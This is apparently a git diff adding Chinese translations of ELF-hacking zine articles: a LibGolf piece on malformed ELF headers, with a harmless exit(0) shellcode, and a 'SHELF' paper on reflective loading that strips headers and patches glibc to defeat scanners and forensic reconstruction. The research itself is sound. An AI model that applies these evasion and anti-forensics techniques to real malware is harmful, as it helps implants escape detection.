diff --git a/1/zh/0.html b/1/zh/0.html new file mode 100644 index 0000000..097627f --- /dev/null +++ b/1/zh/0.html @@ -0,0 +1,65 @@ + +
++ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +介绍: │ █ │ +~ tmp.0ut 团队: └───────────────────█ ──┘ + +我等这一刻已经等了很久了。 + +说实话,我认为很多ELF爱好者都没有想到这一天真的会到来。传统上,我们这些ELF研究者 +一直都是局外人。即使在VLAD和90年代末的病毒场景之后,在silvio发表第一篇论文之后, +在unix病毒邮件列表、phrack文章和elfmaster之后,我们的人数和聚集地依然很少且分散。 + +六个月前,我认识了s01den,我们决定一起进行一些ELF项目。我邀请了我的老朋友TMZ。 +一个月后,我们可能有5个人。然后变成了10个。15个。在三个月内,Discord聊天室里已经 +有28个人,所有人都在讨论ELF和项目,并准备发布一份杂志 - 这一切发生得太快,我甚至 +很难描述它是如何形成的。 + +我们开始交谈、召开会议和开展项目 - 并且都同意记录我们的旅程将是一个绝妙的主意; +创建一系列可以用来学习的出版物,作为参考指南,也许最终可以将它们组合成一本关于 +ELF修改技术和技术的流畅卷册,供下一代ELF爱好者使用。我可以相当确定地说,这很可能 +是有史以来最大的一群黑客同时聚在一起,且都在积极从事ELF项目。 + +带有代码示例的感染算法。具有全新内存加载ELF二进制文件方法的自定义链接器脚本。 +二进制高尔夫。从远程源加载内核模块。用Python编写的消毒程序。与传奇人物的访谈。 +对迄今为止所见过的最复杂的Linux病毒之一进行39页的重新逆向工程和分析。我写了很多 +页想要放入这个等待了20年才写的介绍中的内容,但现在当真正要写的时候,我觉得这些 +内容中的大部分应该被省略,或者放在自己的文章中,因为我们令人惊叹的团队和内容本身 +就能说明一切。 + +现在,不再多说,tmp.out、Thugcrowd和Symbolcrash制作组自豪地呈现Mental 'elf +support group(精神'ELF'支持小组)- 由卫生shellcode协会和二进制匪徒后门工厂流浪汉 +赞助 + +~ sblip +
+
+ _ .-') _ ('-. ('-. _ .-') _ .-. .-') .-') _ ('-. .-')
+( ( OO) ) _( OO) ( OO ).-.( ( OO) ) \ ( OO ) ( OO) ) _( OO) ( OO ).
+ \ .'_ (,------./ . --. / \ .'_ ;-----.\ ,--. ,--./ '._(,------.(_)---\_)
+ ,`'--..._) | .---'| \-. \ ,`'--..._) | .-. | \ `.' / |'--...__)| .---'/ _ |
+ | | \ ' | | .-'-' | | | | \ ' | '-' /_).-') / '--. .--'| | \ :` `.
+ | | ' |(| '--.\| |_.' | | | ' | | .-. `.(OO \ / | | (| '--. '..`''.)
+ | | / : | .--' | .-. | | | / : | | \ || / /\_ | | | .--' .-._) \
+ | '--' / | `---.| | | | | '--' / | '--' /`-./ /.__) | | | `---.\ /
+ `-------' `------'`--' `--' `-------' `------' `--' `--' `------' `-----'
+ ~ xcellerator
+
+你好,ELF爱好者们!在这篇文章中,我想介绍一个我一直在开发的小型库,名为LibGolf。它最初只是
+为了更好地理解ELF和程序头而创建的工具,但后来发展成了一个相当实用的项目。它可以非常容易地
+生成一个由ELF头、单个程序头和单个可加载段组成的二进制文件。默认情况下,头部中的所有字段都
+设置为合理的值,但有一个简单的方法可以修改这些默认值 - 这就是本文要讨论的内容!我将演示如何
+使用LibGolf来精确枚举哪些字节是必需的,哪些字节会被Linux加载器忽略。幸运的是,事实证明,
+加载器是标准Linux工具包中最不挑剔的解析器之一。在我们完成之前,我们将看到几个流行的静态分析
+工具在我们损坏的ELF面前崩溃,而加载器继续愉快地加载并跳转到我们选择的字节。
+
++---------------------------+
+|--[ 介绍LibGolf ]--|
++---------------------------+
+
+不久前,我一直在用NASM手写ELF文件。虽然这很有趣(当然也有它的好处),但我意识到我错过了
+C结构体所能提供的所有乐趣。特别是,我相信许多读者都知道,<linux/elf.h>中充满了像
+`Elf64_Ehdr`和`Elf32_Phdr`这样可以声明的有趣东西。
+
+不想让这些有用的头文件浪费掉,我决定把它们利用起来。经过这些努力,产生了libgolf.h,这是一个
+可以轻松将shellcode注入到可执行文件中的库。我知道你在想什么 - "这听起来就像一个糟糕的链接器!",
+你可能是对的。但是,这里的好处是你可以在二进制文件构建之前轻松修改头部。
+
+让我们看看它是如何工作的。如果你想在家跟着做,你可以在[0]找到所有这些的源代码。你可以在
+'examples/01_dead_bytes'下找到本文中的代码。基本设置需要两个文件:一个C源文件和一个
+shellcode.h。说到shellcode,我喜欢使用老朋友'b0 3c 48 31 ff 0f 05',它反汇编为:
+
+ mov al, 0x3c @ b0 3c
+ xor rdi, rdi @ 48 31 ff
+ syscall @ 0f 05
+
+(是的 - 把这个称为"shellcode"有点牵强!)
+
+本质上,它只是调用exit(0)。这很好,因为我们可以通过shell扩展$?轻松检查这些字节是否成功执行。
+
+将这个或其他shellcode(但要确保它是PIC - 还不支持可重定位符号!)放入shellcode.h中的buf[]
+缓冲区,然后回到C文件。如果你只是想得到一个执行你的shellcode的二进制文件,那么你只需要这些:
+
+ #include "libgolf.h"
+ #include "shellcode.h"
+
+ int main(int argc, char **argv)
+ {
+ INIT_ELF(X86_64,64);
+
+ GEN_ELF();
+ return 0;
+ }
+
+编译并运行生成的可执行文件会给你一个.bin文件 - 这就是你闪亮的新ELF!很简单,对吧?简单往往
+伴随着枯燥,这里也是如此,所以让我们做些更有趣的事情!
+
+在继续之前,值得解释一下这两个宏在幕后做了什么。首先,INIT_ELF()接受两个参数,ISA和架构。
+目前,LibGolf支持X86_64、ARM32和AARCH64作为有效的ISA,以及32或64作为架构。它首先设置一些
+内部簿记结构,并决定是使用Elf32_*还是Elf64_*对象作为头部。它还自动分配指向ELF和程序头的
+指针,分别称为ehdr和phdr。我们将使用这些来轻松修改字段。除此之外,它还复制shellcode缓冲区,
+并在计算合理的入口点之前填充ELF和程序头。接下来是GEN_ELF(),它只是将一些漂亮的统计信息
+打印到stdout,然后将适当的结构写入.bin文件。.bin的名称由argv[0]决定。
+
+所以,在我们使用INIT_ELF()宏之后,我们可以解引用ehdr和phdr。假设我们想修改ELF头的e_version
+字段。我们只需要添加一行:
+
+ #include "libgolf.h"
+ #include "shellcode.h"
+
+ int main(int argc, char **argv)
+ {
+ INIT_ELF(X86_64);
+
+ // 将e_version设置为12345678
+ ehdr->e_version = 0x78563412;
+
+ GEN_ELF();
+ return 0;
+ }
+
+再次快速编译和执行,你就会得到另一个.bin文件。在xxd、hexyl或你喜欢的二进制操作工具中查看
+这个文件,你会看到一个漂亮的'12 34 56 78'从偏移量0x14开始。很容易,不是吗?
+
+为了让事情进展得更快,我喜欢使用以下Makefile:
+
+ .PHONY golf clean
+
+ CC=gcc
+ CFLAGS=-I.
+ PROG=golf
+
+ golf:
+ @$(CC) -o $(PROG) $(PROG).c
+ @./$(PROG)
+ @chmod +x $(PROG).bin
+
+ @rm $(PROG) $(PROG).bin
+
+(这是你在仓库[0]中找到的Makefile)
+
++-----------------------------------+
+|--[ 第一个障碍 ]--|
++-----------------------------------+
+
+众所周知,文件解析器是可怕的东西。虽然规范通常有诚恳的目标,但它们很少被那些应该更了解的人
+所尊重。这些亵渎者中最主要的就是Linux ELF加载器本身。LibGolf使我们很容易调查这些违反elf.h
+的行为的程度。
+
+一个好的开始是从头开始,也就是ELF头。在任何ELF文件的开始,当然是熟悉的0x7f后跟ELF,对它的
+朋友来说被称为EI_MAG0到EI_MAG3。不出所料,修改这四个字节中的任何一个都会导致Linux加载器
+拒绝该文件。谢天谢地!
+
+那么字节0x5呢?我们可靠的规范告诉我们,这是EI_CLASS字节,表示目标架构。可接受的值是0x01和
+0x02,分别用于32位和64位。我再说一遍:可接受的值是0x01和0x02。如果我们将其设置为0x58
+(或对ASCII爱好者来说是"X")会怎样?我们可以通过添加以下内容来实现:
+
+ (ehdr->e_ident)[EI_CLASS] = 0x58;
+
+到我们的生成C文件中。(为什么是0x58?它在xxd/hexyl输出中显示得很清楚!)
+
+一旦我们得到了.bin文件可以玩,在尝试执行它之前,让我们试试其他几个熟悉的ELF解析工具,看看
+还有哪些罪魁祸首。列表中的第一个是gdb。去试试吧,我等着。看看会发生什么?
+
+ "not in executable format: file format not recognized"
+
+同样,objdump也会给你类似的答案。看来这些解析器在正确地完成它们的工作。现在,让我们尝试
+正常运行二进制文件。
+
+ 它完美运行。
+
+如果你使用我的示例shellcode,那么查询$?会遗憾地告诉你二进制文件成功退出。当设置EI_DATA和
+EI_VERSION为非法值时,也会发生同样的罪行。
+
++---------------------------------------+
+|--[ 将损坏程度提升到11 ]--|
++---------------------------------------+
+
+那么,我们能走多远?Linux加载器会忽略多少ELF和程序头?我们已经讨论了EI_CLASS、EI_DATA和
+EI_VERSION,但事实证明EI_OSABI也可以安全地被忽略。这带我们到了偏移量0x8。根据规范,接下来
+是EI_ABIVERSION和EI_PAD,它们一起带我们到字节0xf。看来没人关心它们,所以我们可以毫无顾虑
+地将它们全部设置为0x58。
+
+继续前进,我们遇到了一个似乎不能被破坏的字段:e_type。可以理解,如果我们不告诉Linux加载器
+我们提供的是什么类型的ELF文件,它就不会喜欢(很高兴知道它确实有*一些*标准!- 双关语)。
+我们需要这两个字节保持为0x0002(或对elf.h信徒来说是ET_EXEC)。接下来是另一个挑剔的字节,
+在熟悉的0x12偏移处:e_machine,它指定目标ISA。就我们而言,通过将X86_64指定为INIT_ELF()的
+第一个参数,LibGolf已经为我们将这个字节填充为0x3e。
+
+突然,出现了一个野生的e_version!我们面对另一个异端,它理应总是字节0x00000001。然而,在
+实践中,似乎没有人关心,所以让我们用0x58585858填充它。
+
+在这串异教徒之后,我们有几个似乎不能被滥用的重要字段:e_entry和e_phoff。我想我不需要详细
+解释e_entry;它是二进制文件的入口点,一旦可加载段被加载到内存中,执行就会在这里开始。虽然
+人们可能期望加载器能够在不知道程序头偏移量的情况下管理,但似乎它不够聪明,需要被喂食。
+最好让这两个保持原样。
+
+LibGolf还不支持节头(考虑到它专注于生产*小型*二进制文件,将来可能也不太可能支持它们)。
+这意味着,面对与它们相关的任何头部,我们可以随心所欲地修改。这包括e_shoff、e_shentsize、
+eh_shnum甚至e_shstrndx。如果我们没有任何节头,我们就不用对破坏它们负责!
+
+剩下的对Linux加载器似乎有一些重要性的字段是e_ehsize、e_phentsize和e_phnum。这也不足为奇,
+因为它们与将唯一的可加载段加载到内存中并移交控制权有关。如果你需要复习,e_ehsize是ELF头的
+大小(对于32位和64位分别是0x34或0x40),eh_phentsize是即将到来的程序头的大小(同样,对于
+32位和64位架构硬编码为0x20或0x38)。如果加载器对EI_CLASS更挑剔一点,它就不需要这两个字段。
+最后,e_phnum只是程序头中的条目数 - 对我们来说总是0x1。毫无疑问,这用于内存加载例程中的
+某个循环,但我还没有进一步调查。
+
+ELF头中还有一个我没有提到的字段,就是e_flags。原因很简单,因为它是架构相关的。对于x86_64,
+它完全无关紧要,因为它是未定义的(尽管对某些ARM平台来说它*确实*很重要!看看[0]中的arm32
+示例)。
+
+这就到了ELF头的结尾。对于那些没有计数的人来说,超过50%的ELF头被加载器忽略。但是程序头
+呢?事实证明,程序头的可操作空间要少得多,但不是因为人们可能期望的原因。实际上,程序头的
+*任何*损坏都不会真正影响Linux加载器。我们可以用我们信任的0x58填充整个东西,加载器一点也
+不会在意。但要小心,大胆的冒险者,摆弄错误的字节,你就会被扔进段错误的地牢!
+
+那么,在程序头中有什么可以被强制修改的吗?事实证明,有两个字段由于自身的原因,现在已经
+不再相关了:p_paddr和p_align。前者在虚拟内存之前的辉煌时代很重要,那时4GB RAM只是孩子的
+白日梦,因此告诉加载器在物理内存中的哪里加载段是很重要的。
+
+内存对齐是一个有趣的问题。据说,p_vaddr应该等于p_offset模除p_align。"正常的"ELF文件
+(至少是用GCC编译的)似乎只是将p_offset设置为等于p_vaddr然后继续。这也是LibGolf默认做的,
+这使得p_align完全多余!
+
+总的来说,不如ELF头那么有趣,但仍然有一些小收获。现在二进制生成的C文件看起来是这样的:
+
+ #include "libgolf.h"
+ #include "shellcode.h"
+
+ int main(int argc, char **argv)
+ {
+ INIT_ELF(X86_64,64);
+
+ /* 让我们破坏一些字段! */
+ (ehdr->e_ident)[EI_CLASS] = 0x58;
+ (ehdr->e_ident)[EI_DATA] = 0x58;
+ (ehdr->e_ident)[EI_VERSION] = 0x58;
+ (ehdr->e_ident)[EI_OSABI] = 0x58;
+ (ehdr->e_ident)[EI_ABIVERSION] = 0x58;
+ memset(&((ehdr->e_ident)[EI_PAD]), 0x58, 7);
+ ehdr->e_version = 0x58585858;
+ ehdr->e_shoff = 0x58585858;
+ ehdr->e_flags = 0x58585858;
+ ehdr->e_shentsize = 0x5858;
+ ehdr->e_shnum = 0x5858;
+ ehdr->e_shstrndx = 0x5858;
+
+ /* 程序头也可以被破坏 */
+ phdr->p_paddr = 0x5858585858585858;
+ phdr->p_align = 0x5858585858585858;
+
+ GEN_ELF();
+ return 0;
+ }
+
+如果你编译并运行这个程序,你会得到以下二进制文件:
+
+ 00000000: 7f45 4c46 5858 5858 5858 5858 5858 5858 .ELFXXXXXXXXXXXX
+ 00000010: 0200 3e00 5858 5858 7800 4000 0000 0000 ..>.XXXXx.@.....
+ 00000020: 4000 0000 0000 0000 5858 5858 5858 5858 @.......XXXXXXXX
+ 00000030: 5858 5858 4000 3800 0100 5858 5858 5858 XXXX@.8...XXXXXX
+ 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................
+ 00000050: 0000 4000 0000 0000 5858 5858 5858 5858 ..@.....XXXXXXXX
+ 00000060: 0700 0000 0000 0000 0700 0000 0000 0000 ................
+ 00000070: 5858 5858 5858 5858 b03c 4831 ff0f 05 XXXXXXXX.+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ +介绍SHELF加载技术 │ █ │ +静态和位置无关代码的连接点 │ █ │ +~ @ulexec 和 @Anonymous_ └───────────────────█ ──┘ + +1. 引言 + +在过去几年中,Linux攻击工具在复杂性和精密度方面有了多项改进。随着记录Linux威胁的公开报告数量增加,Linux恶意软件变得越来越流行。这些威胁包括政府支持的Linux植入程序,如APT28的VPNFilter、Drovorub或Winnti系列Linux恶意软件。 + +然而,这种流行度的增加似乎还没有对当前Linux威胁形势的整体复杂性产生太大影响。这是一个相当年轻的生态系统,除了加密货币挖矿、DDoS和最近的勒索软件操作外,网络犯罪分子还未能找到可靠的盈利目标。 + +在当今的Linux威胁环境中,即使是最小的改进或复杂性的引入往往都能导致反病毒软件的绕过,因此Linux恶意软件作者通常不会投入不必要的资源来使其植入程序变得复杂。这种现象发生有多种原因,且具有一定的模糊性。与Windows和MacOS等其他流行平台相比,Linux生态系统更加动态和多样化,这源于不同架构的ELF文件的多样性,ELF二进制文件可以以多种不同形式存在的事实,以及Linux威胁的可见性通常较差。 + +由于这些问题,反病毒供应商在检测这些威胁时面临着完全不同的挑战。通常,对简单/不复杂威胁的不成比例的检测失败会给人留下Linux恶意软件本质上不复杂的印象。这种说法完全不符合事实,熟悉ELF文件格式的人都知道,ELF文件在创新方面有很大的空间,这是其他文件格式由于缺乏灵活性而无法提供的,即使我们多年来还没有看到它被大量滥用。 + +在本文中,我们将讨论一种实现文件格式非常规功能的技术,该技术以通用方式将完整的可执行文件转换为shellcode,这再次证明了ELF二进制文件可以被操作以实现在其他文件格式中难以或无法复制的攻击创新。 + +2. ELF反射加载入门 + +为了理解这项技术,我们必须首先对此技术所基于的先前已知的ELF技术提供背景上下文,并比较其优势和权衡。 + +大多数ELF打包器或任何实现ELF二进制加载的应用程序,主要基于所谓的User-Land-Exec。 + +User-Land-Exec是由@thegrugq首次记录的一种方法,通过该方法可以在不使用execve系统调用族的情况下加载ELF二进制文件,因此得名。 + +为了简单起见,下图展示了实现支持ET_EXEC和ET_DYN ELF二进制文件的普通User-Land-Exec的步骤,展示了UPX打包器对ELF二进制文件的实现: + ++ +如我们所见,这种技术有以下要求(由@thegrugq提出): + + 1. 清理地址空间 + 2. 如果二进制文件是动态链接的,加载动态链接器 + 3. 加载二进制文件 + 4. 初始化栈 + 5. 确定入口点(即动态链接器或主可执行文件) + 6. 将执行转移到入口点 + +在更技术性的层面上,我们得出以下要求: + + 1. 设置嵌入式可执行文件的栈及其对应的辅助向量 + 2. 解析PHDR并识别是否存在PT_INTERP段,表明该文件是动态链接的可执行文件 + 3. 如果存在PT_INTERP,则加载解释器 + 4. 加载目标嵌入式可执行文件 + 5. 根据目标可执行文件是否为动态链接的二进制文件,相应地转向映射的目标可执行文件或解释器的e_entry + +要了解更深入的解释,我们建议阅读@thegrugq关于此问题的综合论文[9]。 + +常规User-Land-Exec的一个功能是避免execve足迹,这与其他技术(如memfd_create/execveat)形成对比,后者也广泛用于加载和执行目标ELF文件。由于加载器映射和加载目标可执行文件,嵌入式可执行文件具有非常规结构的灵活性。这对于规避和反取证目的有附带好处。 + +另一方面,由于加载过程中涉及许多关键组件,反向工程师很容易识别出来,而且由于该技术严重依赖这些组件,因此有些脆弱。因此,编写基于User-Land-Exec的加载器一直比较繁琐。随着ELF文件格式添加更多功能,这种技术倾向于随时间成熟,从而增加其复杂性。 + +我们将在本文中介绍的新技术依赖于实现具有减少约束集的通用User-Land-Exec加载器,支持据我们所知尚未报告的混合PIE和静态链接ELF二进制文件。 + +我们认为这种技术代表了User-Land-Exec加载器先前版本的重大改进,因为基于技术实现约束的缺乏和这种新的混合静态/PIE ELF风格的性质,它可以提供的功能范围比以前的User-Land-Exec变体更广泛且更具规避性。 + +3. 静态PIE可执行文件生成的内部机制 + +3.1 背景 + +2017年7月,H. J. Lu修补了GCC bugzilla中名为"Support creating static PIE"的错误条目。这个补丁提到了在他的glibc hjl/pie/static分支中实现静态基于PIE的实现,Lu在其中记录了通过向链接器提供–static和–pie标志以及PIE版本的crt*.o作为输入,可以生成静态PIE ELF可执行文件。需要注意的是,在这个补丁时,生成完全静态链接的PIE二进制文件是不可能的。[1] + +8月,Lu向GCC驱动程序提交了第二个补丁[2],用于添加–static标志以支持他在前一个补丁中能够演示的静态PIE文件。该补丁在主干[3]中被接受,并在GCC v8中发布。 + +此外,2017年12月在glibc[4]中提交了一个添加–enable-static-pie选项的补丁。这个补丁使得嵌入所需的ld.so部分以生成独立的静态PIE可执行文件成为可能。 + +glibc允许静态PIE的主要变化是添加了_dl_relocate_static_pie函数,该函数由__libc_start_main调用。此函数用于定位运行时加载地址,读取动态段,并在初始化之前执行动态重定位,然后将执行控制流转移到目标应用程序。 + +为了知道生成静态PIE可执行文件需要哪些标志和编译/链接阶段,我们向GCC传递了–static-pie –v标志。然而,我们很快意识到这样做时,链接器生成了大量的标志和对内部包装器的调用。例如,链接阶段由工具/usr/lib/gcc/x86_64-linux-gnu/9/collect2处理,GCC本身由/usr/lib/gcc/x86_64-linux-gnu/9/cc1包装。尽管如此,我们设法删除了不相关的标志,最终得到了以下步骤: + +
+ +这些步骤实际上与Lu提供的步骤相同,向链接器提供使用–fpie编译的输入文件,以及–static、-pie、-z text、--no-dynamic-linker。特别是,静态PIE创建最相关的组件是rcrt1.o、libc.a和我们自己提供的输入文件test.o。rcrt1.o对象包含_start代码,该代码具有在执行其入口点之前正确加载应用程序所需的代码,方法是调用__libc_start_main中包含的相应libc启动代码: + +
+ +如前所述,__libc_start_main将调用新添加的函数_dl_relocate_static_pie(在glibc源代码的elf/dl-reloc-static-pie.c文件中定义)。该函数执行的主要步骤在源代码中有注释: + +
+ +借助这些功能,GCC能够生成可以在任意地址加载的静态可执行文件。 + +我们可以观察到_dl_relocate_static_pie将处理所需的动态重定位。rcrt1.o与常规crt1.o的一个显著区别是所有包含的代码都是位置无关的。检查生成的二进制文件的外观,我们看到以下内容: + +
+ +乍看之下,它们似乎是普通的动态链接PIE可执行文件,这是基于从ELF头部检索到的ET_DYN可执行文件类型。然而,仔细检查段时,我们会发现不存在通常表示动态链接可执行文件中解释器路径的PT_INTERP段,以及通常仅包含在静态链接可执行文件中的PT_TLS段的存在。 + +
+ +如果我们检查动态链接器如何识别目标可执行文件,我们会看到它正确识别了文件类型: + +
+ +要加载此文件,我们只需要将所有PT_LOAD段映射到内存中,设置进程栈及其对应的辅助向量条目,然后转向映射的可执行文件的入口点。我们不需要担心映射RTLD,因为我们没有任何外部依赖或链接时地址限制。 + +如我们所见,我们有四个在SCOP ELF二进制文件中常见的可加载段。然而,为了更容易部署,如果我们能将所有这些段合并为一个段,就像通常在ELF磁盘注入到外部可执行文件中那样,这将是至关重要的。我们可以使用–N链接器标志将数据和文本合并到单个段中来实现这一点。 + +3.2. GCC的-N和static-pie标志的不兼容性 + +如果我们同时向GCC传递–static-pie和–N标志,我们会看到它生成以下可执行文件: + +
+ +我们注意到使用–static-pie时生成的ELF类型是ET_DYN,而现在与–N一起使用时结果是ET_EXEC。 + +此外,如果我们仔细查看段的虚拟地址,我们会看到生成的二进制文件不是位置无关的可执行文件。这是因为虚拟地址似乎是绝对地址而不是相对地址。为了理解为什么我们的程序没有按预期链接,我们检查了正在使用的链接器脚本。 + +由于我们使用的是binutils的ld链接器,我们查看了ld如何选择链接器脚本;这是在ld/ldmain.c代码的第345行完成的: + +
+ +ldfile_open_default_command_file实际上是对编译时生成的架构无关函数的间接调用,该函数包含一组根据传递给ld的标志选择的内部链接器脚本。因为我们使用的是x86_64架构,生成的源代码将是ld/elf_x86_64.c,用于选择脚本的函数是gldelf_x86_64_get_script,它只是一组if-else-if语句来选择内部链接器脚本。–N选项将config.text_read_only变量设置为false,这迫使选择函数使用不生成PIC的内部脚本,如下所示: + +
+ +这种选择默认脚本的方式使得–static-pie和–N标志不兼容,因为基于–N选择脚本的强制测试在–static-pie之前解析。 + +3.3. 通过自定义链接器脚本绕过 + +–N、-static和–pie标志之间的不兼容性使我们陷入了死胡同,我们被迫考虑不同的方法来克服这个障碍。我们尝试的是提供一个自定义脚本来驱动链接器。由于我们本质上需要合并两个独立链接器脚本的行为,我们的方法是选择其中一个脚本并调整它以生成具有剩余脚本功能的所需结果。 + +我们选择了–static-pie的默认脚本而不是与–N一起使用的脚本,因为在我们的情况下,修改它比更改–N默认脚本以支持PIE生成更容易。 + +要实现这个目标,我们需要更改段的定义,这些定义由链接器脚本中的PHDRS [5]字段控制。如果不使用该命令,链接器将提供默认生成的程序头 - 但是,如果我们在链接器脚本中忽略这一点,链接器将不会创建任何额外的程序头,并将严格遵循主题链接器脚本中定义的指导原则。 + +考虑到上述细节,我们向默认链接器脚本添加了一个PHDRS命令,从使用–static-pie时默认创建的所有原始段开始: + +
+ +之后我们需要知道每个节如何映射到每个段 - 为此我们可以使用readelf,如下所示: + +
+ +了解了映射关系后,我们只需要更改链接器脚本中的节输出定义,在每个函数定义的末尾添加适当的段名称,如以下示例所示: + +
+ +在这里,.tdata和.tbss节被分配给按照我们在readelf –l命令输出中看到的相同顺序映射的段。最终,我们得到了一个工作脚本,精确地将所有映射在数据中的节更改为文本段: + +
+ +如果我们使用这个链接器脚本编译我们的测试文件,我们会看到以下生成的可执行文件: + +
+ +我们现在有了一个只有一个可加载段的static-pie。同样的方法可以重复使用来删除其他不相关的段,只保留执行二进制文件所需的关键段。例如,以下是具有运行所需最小程序头的static-pie可执行文件实例: + +
+ +以下是我们所需ELF结构的最终输出 - 只有一个由链接器脚本生成的PT_LOAD段,其PHDRS命令配置如下面的截图所示: + +
+ +4. SHELF加载 + +这种生成的ELF风格给我们提供了一些其他ELF类型无法提供的有趣功能。为了简单起见,我们将这种类型的ELF二进制文件标记为SHELF,并将在本文的其余部分中引用它。以下是SHELF加载所需阶段的更新图: + +
+ +如上图所示,与传统的ELF加载方案相比,加载SHELF文件的过程在复杂性方面大大降低。 + +为了说明加载这些类型文件的约束集减少,以下是最小化SHELF User-Land-Exec方法的代码片段: + +
+ +使用这种方法,主题SHELF文件在内存和磁盘上的外观如下: + +
+ +如我们所见,进程映像中缺少ELF头和程序头。这是这种ELF风格使我们能够实现的一个功能,将在下一节中讨论。 + +4.1 反取证功能 + +这种新的User-Land-Exec方法还有两个可选阶段,对反取证目的有用。由于dl_relocate_static_pie函数将从辅助向量获取重定位所需的所有字段,这给我们留下了空间来处理主题SHELF文件结构在内存和磁盘上的外观。 + +删除ELF头将直接影响重建能力,因为大多数基于Linux的扫描器将通过首先识别ELF头来扫描进程内存中的现有ELF映像。ELF头将被解析,并将包含有关在何处定位程序头表以及随后文件的映射工件的更多信息。 + +删除ELF头很简单,因为加载器实际上不需要这个工件 - 主题文件中所需的所有信息都将从前面提到的辅助向量中检索。 + +可以隐藏的另一个工件是程序头表。与ELF头相比,这是一个略有不同的情况。辅助向量需要定位程序头表,以便RTLD通过应用所需的运行时重定位成功加载文件。无论如何,有许多方法可以混淆PHT。最简单的方法是删除原始程序头表位置,并将其重新定位到只有辅助向量知道的文件中的某个位置。 + +
+ +我们可以预先计算每个辅助向量条目的位置,并在包含文件中将每个条目定义为宏,在编译时为每个主题SHELF文件定制我们的加载器。以下是如何生成这些宏的示例: + +
+ +如我们所见,我们已经解析了主题SHELF文件的e_entry和e_phnum字段,创建了相应的宏来保存这些值。我们还必须选择一个随机基础映像来加载文件。最后,我们定位PHT并将其转换为数组,然后从其原始位置删除它。应用这些修改允许我们完全删除ELF头并更改主题SHELF文件PHT在磁盘和内存中的默认位置(!) + +如果无法成功检索程序头表,重建能力可能会受到严格限制,并且必须应用进一步的启发式方法才能成功重建进程映像。 + +使程序头表的重建更加困难的另一种方法是通过检测glibc实现辅助向量字段解析的方式。 + +4.2 通过PT_TLS修补来掩盖SHELF特性 + +即使在通过在制作辅助向量时选择新的任意位置来修改程序头表的默认位置之后,程序头表仍然会驻留在内存中,并且可以通过一些努力找到。为了进一步掩盖我们自己,我们可以覆盖启动代码如何读取辅助向量字段。 + +执行此操作的代码位于elf/dl_support.c中的_dl_aux_init函数中。抽象地说,代码遍历所有auxv_t条目,每个条目初始化glibc的内部变量: + +
+ +需要辅助向量的唯一原因是初始化内部_dl_*变量。知道这一点,我们可以完全绕过辅助向量的创建,并在将执行控制权传递给主题SHELF文件之前执行与_dl_aux_init相同的工作。 + +唯一关键的条目是AT_PHDR、AT_PHNUM和AT_RANDOM。因此,我们只需要修补依赖于这些字段的相应_dl_*变量。作为如何检索这些值的示例,我们可以使用以下单行命令生成一个包含预计算宏的包含文件,这些宏保存每个dl_*变量的偏移量: + +
+ +找到这些变量的偏移量后,我们只需要以原始启动代码使用辅助向量的相同方式修补它们。为了说明这种技术,以下代码将程序头的地址初始化为new_address,并将程序头的数量初始化为正确的数量: + +
+ +此时,我们有一个不提供辅助向量的工作程序。因为主题二进制文件是静态链接的,并且加载SHELF文件的代码是我们的加载器,我们可以忽略辅助向量的AT_PHDR和AT_PHNUM或dl_phdr和dl_phnum中的其他每个段。有一个例外,即PT_TLS段,它是在ELF文件格式中实现线程本地存储的接口。 + +以下位于csu/libc-tls.c中的__libc_setup_tls函数的代码显示了从PT_TLS段检索的信息类型: + +
+ +在上面的代码片段中,我们可以看到TLS初始化依赖于PT_TLS段的存在。我们有几种方法可以混淆这个工件,比如修补__libc_setup_tls函数使其仅返回,然后用我们自己的代码初始化TLS。在这里,我们选择实现一个快速的glibc补丁作为概念验证。 + +为了避免需要PT_TLS程序头,我们添加了一个全局变量来保存PT_TLS的值,并在__libc_setup_tls内部设置值,从我们的全局变量而不是主题SHELF文件程序头表中读取。通过这个小改动,我们最终删除了所有程序头: + +
+ +使用以下脚本生成_phdr.h: + +
+ +我们可以在包含_phdr.h后以以下方式应用我们的补丁: + +
+ +应用上述方法,我们通过在没有ELF头、程序头表和辅助向量的情况下加载和执行我们的SHELF文件获得了高度的规避性 - 就像加载shellcode一样。以下图表说明了SHELF文件的加载过程有多么简单: + +
+ +5. 结论 + +我们已经介绍了ELF文件反射加载的内部机制,解释了User-Land-Exec的先前实现及其优势和缺点。然后我们解释了GCC代码库中实现static-pie二进制文件支持的最新补丁,讨论了我们想要的结果,以及我们为实现生成具有单个PT_LOAD段的static-pie ELF文件而采取的方法。最后,我们讨论了SHELF加载可以提供的反取证功能,我们认为与先前版本的ELF反射加载相比,这是一个相当大的改进。 + +我们认为这可能是下一代ELF反射加载,它可能有助于读者理解ELF文件格式可以提供的攻击能力的范围。如果您想访问源代码,请联系@sblip或@ulexec。 + +6. 参考文献 + +[1] (支持static pie) + https://gcc.gnu.org/bugzilla/show_bug.cgi?id=81498 +[2] (gcc第一个补丁) + https://gcc.gnu.org/ml/gcc-patches/2017-08/msg00638.html +[3] (gcc补丁) + https://gcc.gnu.org/viewcvs/gcc?view=revision&revision=252034 +[4] (glibc --enable-static-pie) + https://sourceware.org/git/?p=glibc.git;a=commit; \ + h=9d7a3741c9e59eba87fb3ca6b9f979befce07826 +[5] (链接器脚本文档) + https://sourceware.org/binutils/docs/ld/PHDRS.html#PHDRS +[6] https://sourceware.org/binutils/docs/ld/ + Output-Section-Phdr.html#Output-Section-Phdr +[7] https://www.akkadia.org/drepper/tls.pdf +[8] (为什么ld不允许-static -pie -N) + https://sourceware.org/git \ + /gitweb.cgi?p=binutils-gdb.git;a=blob;f=ld/ldmain.c; \ + h=c4af10f4e9121949b1b66df6428e95e66ce3eed4;hb=HEAD#l345 +[9] (grugq 